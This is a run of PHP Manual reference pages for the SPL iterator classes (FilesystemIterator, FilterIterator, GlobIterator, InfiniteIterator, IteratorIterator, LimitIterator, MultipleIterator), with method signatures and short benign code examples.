PHP Manual

FilesystemIterator::getFlags

(PHP 5 >= 5.3.0)

FilesystemIterator::getFlags — Get the handling flags

Description

public int FilesystemIterator::getFlags ( void )

Gets the handling flags, as set in FilesystemIterator::__construct() or FilesystemIterator::setFlags().

Parameters

This function has no parameters.

Return Values

The integer value of the set flags.

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::setFlags() - Sets handling flags

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::current
FilesystemIterator::key
FilesystemIterator


Retrieve the key for the current file

FilesystemIterator::getFlags
FilesystemIterator::next
FilesystemIterator
PHP Manual

FilesystemIterator::key

(PHP 5 >= 5.3.0)

FilesystemIterator::key — Retrieve the key for the current file

Description

public string FilesystemIterator::key ( void )

Parameters

This function has no parameters.

Return Values

Returns the pathname or filename depending on the set flags. See the FilesystemIterator constants.

Examples

Example #1 FilesystemIterator::key() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $fileinfo) {
    echo $iterator->key() . "\n";
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator constants
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::getFlags
FilesystemIterator::next
FilesystemIterator


Move to the next file

FilesystemIterator::key
FilesystemIterator::rewind
FilesystemIterator
PHP Manual

FilesystemIterator::next

(PHP 5 >= 5.3.0)

FilesystemIterator::next — Move to the next file

Description

public void FilesystemIterator::next ( void )

Move to the next file.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php

See Also

  • DirectoryIterator::next() - Move forward to next DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::key
FilesystemIterator::rewind
FilesystemIterator


Rewinds back to the beginning

FilesystemIterator::next
FilesystemIterator::setFlags
FilesystemIterator
PHP Manual

FilesystemIterator::rewind

(PHP 5 >= 5.3.0)

FilesystemIterator::rewind — Rewinds back to the beginning

Description

public void FilesystemIterator::rewind ( void )

Rewinds the directory back to the start.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::rewind() example

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);

echo $iterator->key() . "\n";

$iterator->next();
echo $iterator->key() . "\n";

$iterator->rewind();
echo $iterator->key() . "\n";
?>

The above example will output something similar to:

apple.jpg
banana.jpg
apple.jpg

See Also

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::next
FilesystemIterator::setFlags
FilesystemIterator


Sets handling flags

FilesystemIterator::rewind
FilterIterator
FilesystemIterator
PHP Manual

FilesystemIterator::setFlags

(PHP 5 >= 5.3.0)

FilesystemIterator::setFlags — Sets handling flags

Description

public void FilesystemIterator::setFlags ([ int $flags ] )

Sets handling flags.

Parameters

flags

The handling flags to set. See the FilesystemIterator constants.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::key() example

This example demonstrates the difference between the FilesystemIterator::KEY_AS_PATHNAME and FilesystemIterator::KEY_AS_FILENAME flags.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_PATHNAME);
echo "Key as Pathname:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}

$iterator->setFlags(FilesystemIterator::KEY_AS_FILENAME);
echo "\nKey as Filename:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}
?>

The above example will output something similar to:

Key as Pathname:
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Key as Filename:
apple.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::getFlags() - Get the handling flags

User Contributed Notes

There are no user contributed notes for this page.
FilesystemIterator::rewind
FilterIterator
FilesystemIterator


The FilterIterator class

(PHP 5 >= 5.1.0)

Introduction

This abstract iterator filters out unwanted values. This class should be extended to implement custom iterator filters. The FilterIterator::accept() must be implemented in the subclass.

Class synopsis

abstract FilterIterator extends IteratorIterator implements OuterIterator , Traversable , Iterator {
/* Methods */
abstract bool accept ( void )
__construct ( Iterator $iterator )
mixed current ( void )
Iterator getInnerIterator ( void )
mixed key ( void )
void next ( void )
void rewind ( void )
bool valid ( void )
}

Table of Contents

  • FilterIterator::accept — Check whether the current element of the iterator is acceptable
  • FilterIterator::__construct — Construct a filterIterator
  • FilterIterator::current — Get the current element value
  • FilterIterator::getInnerIterator — Get the inner iterator
  • FilterIterator::key — Get the current key
  • FilterIterator::next — Move the iterator forward
  • FilterIterator::rewind — Rewind the iterator
  • FilterIterator::valid — Check whether the current element is valid

User Contributed Notes

Venelin Vulkov 05-Nov-2008 12:36
The code below is a simple example of usage . Note that the method which does the actual job is accept.

<?php
class UserFilter extends FilterIterator
{
    private $userFilter;

    public function __construct(Iterator $iterator , $filter )
    {
        parent::__construct($iterator);
        $this->userFilter = $filter;
    }

    public function accept()
    {
        $user = $this->getInnerIterator()->current();
        if( strcasecmp($user['name'],$this->userFilter) == 0) {
            return false;
        }
        return true;
    }
}

$array = array(
array('name' => 'Jonathan','id' => '5'),
array('name' => 'Abdul' ,'id' => '22')
);

$object = new ArrayObject($array);

// Note it is case insensitive check in our example due the usage of strcasecmp function
$iterator = new UserFilter($object->getIterator(),'abdul');

foreach ($iterator as $result) {
    echo $result['name'];
}

/* Outputs Jonathan */

?>
Regards.
FilesystemIterator::setFlags
FilterIterator::accept
Iterators


Check whether the current element of the iterator is acceptable

FilterIterator
FilterIterator::__construct
FilterIterator
PHP Manual

FilterIterator::accept

(PHP 5 >= 5.1.0)

FilterIterator::accept — Check whether the current element of the iterator is acceptable

Description

abstract bool FilterIterator::accept ( void )

Returns whether the current element of the iterator is acceptable through this filter.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is acceptable, otherwise FALSE.

Examples

Example #1 FilterIterator::accept() example

<?php
// This iterator filters all values with less than 10 characters
class LengthFilterIterator extends FilterIterator {

    public function accept() {
        // Only accept strings with a length of 10 and greater
        return strlen(parent::current()) > 10;
    }

}

$arrayIterator = new ArrayIterator(array('test1', 'more than 10 characters'));
$lengthFilter = new LengthFilterIterator($arrayIterator);

foreach ($lengthFilter as $value) {
    echo $value . "\n";
}
?>

The above example will output:

more than 10 characters

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator
FilterIterator::__construct
FilterIterator


Construct a filterIterator

FilterIterator::accept
FilterIterator::current
FilterIterator
PHP Manual

FilterIterator::__construct

(PHP 5 >= 5.1.0)

FilterIterator::__construct — Construct a filterIterator

Description

FilterIterator::__construct ( Iterator $iterator )

Constructs a new FilterIterator, which consists of a passed in iterator with filters applied to it.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator that is being filtered.

Return Values

The FilterIterator.

See Also

  • LimitIterator::__construct() - Construct a LimitIterator

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::accept
FilterIterator::current
FilterIterator


Get the current element value

FilterIterator::__construct
FilterIterator::getInnerIterator
FilterIterator
PHP Manual

FilterIterator::current

(PHP 5 >= 5.1.0)

FilterIterator::current — Get the current element value

Description

mixed FilterIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the current element value.

Parameters

This function has no parameters.

Return Values

The current element value.

See Also

  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::__construct
FilterIterator::getInnerIterator
FilterIterator


Get the inner iterator

FilterIterator::current
FilterIterator::key
FilterIterator
PHP Manual

FilterIterator::getInnerIterator

(PHP 5 >= 5.1.0)

FilterIterator::getInnerIterator — Get the inner iterator

Description

Iterator FilterIterator::getInnerIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the inner iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator.

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::current
FilterIterator::key
FilterIterator


Get the current key

FilterIterator::getInnerIterator
FilterIterator::next
FilterIterator
PHP Manual

FilterIterator::key

(PHP 5 >= 5.1.0)

FilterIterator::key — Get the current key

Description

mixed FilterIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the current key.

Parameters

This function has no parameters.

Return Values

The current key.

See Also

  • FilterIterator::next() - Move the iterator forward
  • FilterIterator::current() - Get the current element value

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::getInnerIterator
FilterIterator::next
FilterIterator


Move the iterator forward

FilterIterator::key
FilterIterator::rewind
FilterIterator
PHP Manual

FilterIterator::next

(PHP 5 >= 5.1.0)

FilterIterator::next — Move the iterator forward

Description

void FilterIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Move the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • FilterIterator::current() - Get the current element value
  • FilterIterator::next()

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::key
FilterIterator::rewind
FilterIterator


Rewind the iterator

FilterIterator::next
FilterIterator::valid
FilterIterator
PHP Manual

FilterIterator::rewind

(PHP 5 >= 5.1.0)

FilterIterator::rewind — Rewind the iterator

Description

void FilterIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Rewind the iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • FilterIterator::current() - Get the current element value
  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::next
FilterIterator::valid
FilterIterator


Check whether the current element is valid

FilterIterator::rewind
GlobIterator
FilterIterator
PHP Manual

FilterIterator::valid

(PHP 5 >= 5.1.0)

FilterIterator::valid — Check whether the current element is valid

Description

bool FilterIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Checks whether the current element is valid.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::rewind
GlobIterator
FilterIterator


The GlobIterator class

(PHP 5 >= 5.3.0)

Introduction

Iterates through a file system in a similar fashion to glob().

Class synopsis

GlobIterator extends FilesystemIterator implements Iterator , Traversable , SeekableIterator , Countable {
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
public int count ( void )
/* Inherited methods */
public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed FilesystemIterator::current ( void )
public int FilesystemIterator::getFlags ( void )
public string FilesystemIterator::key ( void )
public void FilesystemIterator::next ( void )
public void FilesystemIterator::rewind ( void )
public void FilesystemIterator::setFlags ([ int $flags ] )
}

Table of Contents

  • GlobIterator::__construct — Construct a directory using glob
  • GlobIterator::count — Get the number of directories and files

User Contributed Notes

There are no user contributed notes for this page.
FilterIterator::valid
GlobIterator::__construct
Iterators


Construct a directory using glob

GlobIterator
GlobIterator::count
GlobIterator
PHP Manual

GlobIterator::__construct

(PHP 5 >= 5.3.0)

GlobIterator::__construct — Construct a directory using glob

Description

public GlobIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

Constructs a new directory iterator from a glob expression.

Parameters

path

The path of the directory.

flags

Option flags, the flags may be a bitmask of the FilesystemIterator constants.

Examples

Example #1 GlobIterator example

<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if(!$iterator->count())
{
    echo 'No matches';
}
else
{
    $n = 0;

    printf("Matched %d item(s)\r\n", $iterator->count());

    foreach($iterator as $item)
    {
        printf("[%d] %s\r\n", ++$n, $iterator->key());
    }
}
?>

The above example will output something similar to:

Matched 2 item(s)
[1] php5ts.dll
[2] php_gd2.dll

See Also

  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path
  • GlobIterator::count() - Get the number of directories and files
  • glob() - Find pathnames matching a pattern

User Contributed Notes

There are no user contributed notes for this page.
GlobIterator
GlobIterator::count
GlobIterator


Get the number of directories and files

GlobIterator::__construct
InfiniteIterator
GlobIterator
PHP Manual

GlobIterator::count

(PHP 5 >= 5.3.0)

GlobIterator::count — Get the number of directories and files

Description

public int GlobIterator::count ( void )

Gets the number of directories and files found by the glob expression.

Parameters

This function has no parameters.

Return Values

The number of returned directories and files, as an integer.

Examples

Example #1 GlobIterator::count() example

<?php
$iterator = new GlobIterator('*.xml');

printf("Matched %d item(s)\r\n", $iterator->count());
?>

The above example will output something similar to:

Matched 8 item(s)

See Also

  • GlobIterator::__construct() - Construct a directory using glob
  • count() - Count all elements in an array, or something in an object
  • glob() - Find pathnames matching a pattern

User Contributed Notes

There are no user contributed notes for this page.
GlobIterator::__construct
InfiniteIterator
GlobIterator


The InfiniteIterator class

(PHP 5 >= 5.1.0)

Introduction

The InfiniteIterator allows one to infinitely iterate over an iterator without having to manually rewind the iterator upon reaching its end.

Class synopsis

InfiniteIterator extends IteratorIterator implements OuterIterator , Traversable , Iterator {
/* Methods */
public __construct ( Iterator $iterator )
public void next ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public void IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • InfiniteIterator::__construct — Constructs an InfiniteIterator
  • InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

User Contributed Notes

There are no user contributed notes for this page.
GlobIterator::count
InfiniteIterator::__construct
Iterators


Constructs an InfiniteIterator

InfiniteIterator
InfiniteIterator::next
InfiniteIterator
PHP Manual

InfiniteIterator::__construct

(PHP 5 >= 5.1.0)

InfiniteIterator::__construct — Constructs an InfiniteIterator

Description

public InfiniteIterator::__construct ( Iterator $iterator )

Constructs an InfiniteIterator from an Iterator.

Parameters

iterator

The iterator to infinitely iterate over.

Return Values

No value is returned.

Errors/Exceptions

Throws an E_RECOVERABLE_ERROR if the iterator parameter is not an Iterator.

Examples

Example #1 InfiniteIterator::__construct() example

<?php
$arrayit  = new ArrayIterator(array('cat','dog'));
$infinite = new InfiniteIterator($arrayit);
$limit    = new LimitIterator($infinite, 0, 7);
foreach($limit as $value)
{
    echo "$value\n";
}
?>

The above example will output:

cat
dog
cat
dog
cat
dog
cat

See Also

  • InfiniteIterator::next() - Moves the inner Iterator forward or rewinds it

User Contributed Notes

There are no user contributed notes for this page.
InfiniteIterator
InfiniteIterator::next
InfiniteIterator


Moves the inner Iterator forward or rewinds it

InfiniteIterator::__construct
IteratorIterator
InfiniteIterator
PHP Manual

InfiniteIterator::next

(PHP 5 >= 5.1.0)

InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

Description

public void InfiniteIterator::next ( void )

Moves the inner Iterator forward to its next element if there is one, otherwise rewinds the inner Iterator back to the beginning.

Note:

Even an InfiniteIterator stops if its inner Iterator is empty.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • InfiniteIterator::__construct() - Constructs an InfiniteIterator

User Contributed Notes

There are no user contributed notes for this page.
InfiniteIterator::__construct
IteratorIterator
InfiniteIterator


The IteratorIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator wrapper allows the conversion of anything that is Traversable into an Iterator. It is important to understand that most classes that do not implement Iterators have reasons as most likely they do not allow the full Iterator feature set. If so, techniques should be provided to prevent misuse, otherwise expect exceptions or fatal errors.

Class synopsis

IteratorIterator implements Iterator , Traversable , OuterIterator {
/* Methods */
public __construct ( Traversable $iterator )
public mixed current ( void )
public Traversable getInnerIterator ( void )
public void key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
}

Table of Contents

  • IteratorIterator::__construct — Create an iterator from anything that is traversable
  • IteratorIterator::current — Get the current value
  • IteratorIterator::getInnerIterator — Get the inner iterator
  • IteratorIterator::key — Get the key of the current element
  • IteratorIterator::next — Forward to the next element
  • IteratorIterator::rewind — Rewind to the first element
  • IteratorIterator::valid — Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.
InfiniteIterator::next
IteratorIterator::__construct
Iterators


Create an iterator from anything that is traversable

IteratorIterator
IteratorIterator::current
IteratorIterator
PHP Manual

IteratorIterator::__construct

(PHP 5 >= 5.1.0)

IteratorIterator::__construct — Create an iterator from anything that is traversable

Description

public IteratorIterator::__construct ( Traversable $iterator )

Creates an iterator from anything that is traversable.

Parameters

iterator

The traversable iterator.

Return Values

No value is returned.

See Also

  • Traversable

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator
IteratorIterator::current
IteratorIterator


Get the current value

IteratorIterator::__construct
IteratorIterator::getInnerIterator
IteratorIterator
PHP Manual

IteratorIterator::current

(PHP 5 >= 5.1.0)

IteratorIterator::current — Get the current value

Description

public mixed IteratorIterator::current ( void )

Get the value of the current element.

Parameters

This function has no parameters.

Return Values

The value of the current element.

See Also

  • IteratorIterator::key() - Get the key of the current element

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::__construct
IteratorIterator::getInnerIterator
IteratorIterator


Get the inner iterator

IteratorIterator::current
IteratorIterator::key
IteratorIterator
PHP Manual

IteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0)

IteratorIterator::getInnerIterator — Get the inner iterator

Description

public Traversable IteratorIterator::getInnerIterator ( void )

Get the inner iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator as passed to IteratorIterator::__construct().

See Also

  • Iterator
  • OuterIterator

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::current
IteratorIterator::key
IteratorIterator


Get the key of the current element

IteratorIterator::getInnerIterator
IteratorIterator::next
IteratorIterator
PHP Manual

IteratorIterator::key

(PHP 5 >= 5.1.0)

IteratorIterator::key — Get the key of the current element

Description

public void IteratorIterator::key ( void )

Get the key of the current element.

Parameters

This function has no parameters.

Return Values

The key of the current element.

See Also

  • IteratorIterator::current() - Get the current value

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::getInnerIterator
IteratorIterator::next
IteratorIterator


Forward to the next element

IteratorIterator::key
IteratorIterator::rewind
IteratorIterator
PHP Manual

IteratorIterator::next

(PHP 5 >= 5.1.0)

IteratorIterator::next — Forward to the next element

Description

public void IteratorIterator::next ( void )

Forward to the next element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • IteratorIterator::rewind() - Rewind to the first element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::key
IteratorIterator::rewind
IteratorIterator


Rewind to the first element

IteratorIterator::next
IteratorIterator::valid
IteratorIterator
PHP Manual

IteratorIterator::rewind

(PHP 5 >= 5.1.0)

IteratorIterator::rewind — Rewind to the first element

Description

public void IteratorIterator::rewind ( void )

Rewinds to the first element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • IteratorIterator::next() - Forward to the next element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::next
IteratorIterator::valid
IteratorIterator


Checks if the iterator is valid

IteratorIterator::rewind
LimitIterator
IteratorIterator
PHP Manual

IteratorIterator::valid

(PHP 5 >= 5.1.0)

IteratorIterator::valid — Checks if the iterator is valid

Description

public bool IteratorIterator::valid ( void )

Checks if the iterator is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the iterator is valid, otherwise FALSE

See Also

  • iterator_count() - Count the elements in an iterator
  • IteratorIterator::current() - Get the current value

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::rewind
LimitIterator
IteratorIterator


The LimitIterator class

(PHP 5 >= 5.1.0)

Introduction

The LimitIterator class allows iteration over a limited subset of items in an Iterator.

Class synopsis

LimitIterator extends IteratorIterator implements OuterIterator , Traversable , Iterator {
/* Methods */
public __construct ( Iterator $iterator [, int $offset = 0 [, int $count = -1 ]] )
public mixed current ( void )
public Iterator getInnerIterator ( void )
public int getPosition ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public int seek ( int $position )
public bool valid ( void )
}

Examples

Example #1 LimitIterator usage example

<?php

// Create an iterator to be limited
$fruits = new ArrayIterator(array(
    'apple',
    'banana',
    'cherry',
    'damson',
    'elderberry'
));

// Loop over first three fruits only
foreach (new LimitIterator($fruits, 0, 3) as $fruit) {
    var_dump($fruit);
}

echo "\n";

// Loop from third fruit until the end
// Note: offset starts from zero for apple
foreach (new LimitIterator($fruits, 2) as $fruit) {
    var_dump($fruit);
}

?>

The above example will output:

string(5) "apple"
string(6) "banana"
string(6) "cherry"

string(6) "cherry"
string(6) "damson"
string(10) "elderberry"

Table of Contents

  • LimitIterator::__construct — Construct a LimitIterator
  • LimitIterator::current — Get current element
  • LimitIterator::getInnerIterator — Get inner iterator
  • LimitIterator::getPosition — Return the current position
  • LimitIterator::key — Get current key
  • LimitIterator::next — Move the iterator forward
  • LimitIterator::rewind — Rewind the iterator to the specified starting offset
  • LimitIterator::seek — Seek to the given position
  • LimitIterator::valid — Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
IteratorIterator::valid
LimitIterator::__construct
Iterators


Construct a LimitIterator

LimitIterator
LimitIterator::current
LimitIterator
PHP Manual

LimitIterator::__construct

(PHP 5 >= 5.1.0)

LimitIterator::__construct — Construct a LimitIterator

Description

public LimitIterator::__construct ( Iterator $iterator [, int $offset = 0 [, int $count = -1 ]] )

Constructs a new LimitIterator from an iterator with a given starting offset and maximum count.

Parameters

iterator

The Iterator to limit.

offset

Optional offset of the limit.

count

Optional count of the limit.

Return Values

The new LimitIterator.

Errors/Exceptions

Throws an OutOfRangeException if the offset is less than 0 or the count is less than -1.

Examples

Example #1 LimitIterator::__construct() example

<?php
$ait = new ArrayIterator(array('a', 'b', 'c', 'd', 'e'));
$lit = new LimitIterator($ait, 1, 3);
foreach ($lit as $value) {
    echo $value . "\n";
}
?>

The above example will output:

b
c
d

See Also

  • LimitIterator examples

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator
LimitIterator::current
LimitIterator


Get current element

LimitIterator::__construct
LimitIterator::getInnerIterator
LimitIterator
PHP Manual

LimitIterator::current

(PHP 5 >= 5.1.0)

LimitIterator::current — Get current element

Description

public mixed LimitIterator::current ( void )

Gets the current element of the inner Iterator.

Parameters

This function has no parameters.

Return Values

Returns the current element or NULL if there is none.

See Also

  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::__construct
LimitIterator::getInnerIterator
LimitIterator


Get inner iterator

LimitIterator::current
LimitIterator::getPosition
LimitIterator
PHP Manual

LimitIterator::getInnerIterator

(PHP 5 >= 5.1.0)

LimitIterator::getInnerIterator — Get inner iterator

Description

public Iterator LimitIterator::getInnerIterator ( void )

Gets the inner Iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator passed to LimitIterator::__construct().

See Also

  • LimitIterator::__construct() - Construct a LimitIterator
  • IteratorIterator::getInnerIterator() - Get the inner iterator

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::current
LimitIterator::getPosition
LimitIterator


Return the current position

LimitIterator::getInnerIterator
LimitIterator::key
LimitIterator
PHP Manual

LimitIterator::getPosition

(PHP 5 >= 5.1.0)

LimitIterator::getPosition — Return the current position

Description

public int LimitIterator::getPosition ( void )

Gets the current zero-based position of the inner Iterator.

Parameters

This function has no parameters.

Return Values

The current position.

Examples

Example #1 LimitIterator::getPosition() example

<?php
$fruits = array(
    'a' => 'apple',
    'b' => 'banana',
    'c' => 'cherry',
    'd' => 'damson',
    'e' => 'elderberry'
);
$array_it = new ArrayIterator($fruits);
$limit_it = new LimitIterator($array_it, 2, 3);
foreach ($limit_it as $item) {
    echo $limit_it->getPosition() . ' ' . $item . "\n";
}
?>

The above example will output:

2 cherry
3 damson
4 elderberry

See Also

  • FilterIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::getInnerIterator
LimitIterator::key
LimitIterator


Get current key

LimitIterator::getPosition
LimitIterator::next
LimitIterator
PHP Manual

LimitIterator::key

(PHP 5 >= 5.1.0)

LimitIterator::key — Get current key

Description

public mixed LimitIterator::key ( void )

Gets the key for the current item in the inner Iterator.

Parameters

This function has no parameters.

Return Values

Returns the key for the current item.

See Also

  • LimitIterator::getPosition() - Return the current position
  • LimitIterator::current() - Get current element
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::getPosition
LimitIterator::next
LimitIterator


Move the iterator forward

LimitIterator::key
LimitIterator::rewind
LimitIterator
PHP Manual

LimitIterator::next

(PHP 5 >= 5.1.0)

LimitIterator::next — Move the iterator forward

Description

public void LimitIterator::next ( void )

Moves the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::key
LimitIterator::rewind
LimitIterator


Rewind the iterator to the specified starting offset

LimitIterator::next
LimitIterator::seek
LimitIterator
PHP Manual

LimitIterator::rewind

(PHP 5 >= 5.1.0)

LimitIterator::rewind — Rewind the iterator to the specified starting offset

Description

public void LimitIterator::rewind ( void )

Rewinds the iterator to the starting offset specified in LimitIterator::__construct().

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::next
LimitIterator::seek
LimitIterator


Seek to the given position

LimitIterator::rewind
LimitIterator::valid
LimitIterator
PHP Manual

LimitIterator::seek

(PHP 5 >= 5.1.0)

LimitIterator::seek — Seek to the given position

Description

public int LimitIterator::seek ( int $position )

Moves the iterator to the offset specified by position.

Parameters

position

The position to seek to.

Return Values

Returns the offset position after seeking.

Errors/Exceptions

Throws an OutOfBoundsException if the position is outside of the limits specified in LimitIterator::__construct().

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::rewind
LimitIterator::valid
LimitIterator


Check whether the current element is valid

LimitIterator::seek
MultipleIterator
LimitIterator
PHP Manual

LimitIterator::valid

(PHP 5 >= 5.1.0)

LimitIterator::valid — Check whether the current element is valid

Description

public bool LimitIterator::valid ( void )

Checks whether the current element is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position

User Contributed Notes

There are no user contributed notes for this page.
LimitIterator::seek
MultipleIterator
LimitIterator


The MultipleIterator class

(PHP 5 >= 5.3.0)

Introduction

An Iterator that sequentially iterates over all attached iterators

Class synopsis

MultipleIterator implements Iterator , Traversable {
/* Constants */
const integer MIT_NEED_ANY = 0 ;
const integer MIT_NEED_ALL = 1 ;
const integer MIT_KEYS_NUMERIC = 0 ;
const integer MIT_KEYS_ASSOC = 2 ;
/* Methods */
public __construct ([ int $flags = MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC ] )
public void attachIterator ( Iterator $iterator [, string $infos ] )
public void containsIterator ( Iterator $iterator )
public void countIterators ( void )
public void current ( void )
public void detachIterator ( Iterator $iterator )
public void getFlags ( void )
public void key ( void )
public void next ( void )
public void rewind ( void )
public void setFlags ( int $flags )
public void valid ( void )
}

Predefined Constants

MultipleIterator::MIT_NEED_ANY

Do not require all sub iterators to be valid in iteration.

MultipleIterator::MIT_NEED_ALL

Require all sub iterators to be valid in iteration.

MultipleIterator::MIT_KEYS_NUMERIC

Keys are created from the sub iterators position.

MultipleIterator::MIT_KEYS_ASSOC

Keys are created from sub iterators associated information.

Table of Contents

  • MultipleIterator::attachIterator — Attaches iterator information
  • MultipleIterator::__construct — Constructs a new MultipleIterator
  • MultipleIterator::containsIterator — Checks if an iterator is attached
  • MultipleIterator::countIterators — Gets the number of attached iterator instances
  • MultipleIterator::current — Gets the registered iterator instances
  • MultipleIterator::detachIterator — Detaches an iterator
  • MultipleIterator::getFlags — Gets the flag information
  • MultipleIterator::key — Gets the registered iterator instances
  • MultipleIterator::next — Moves all attached iterator instances forward
  • MultipleIterator::rewind — Rewinds all attached iterator instances
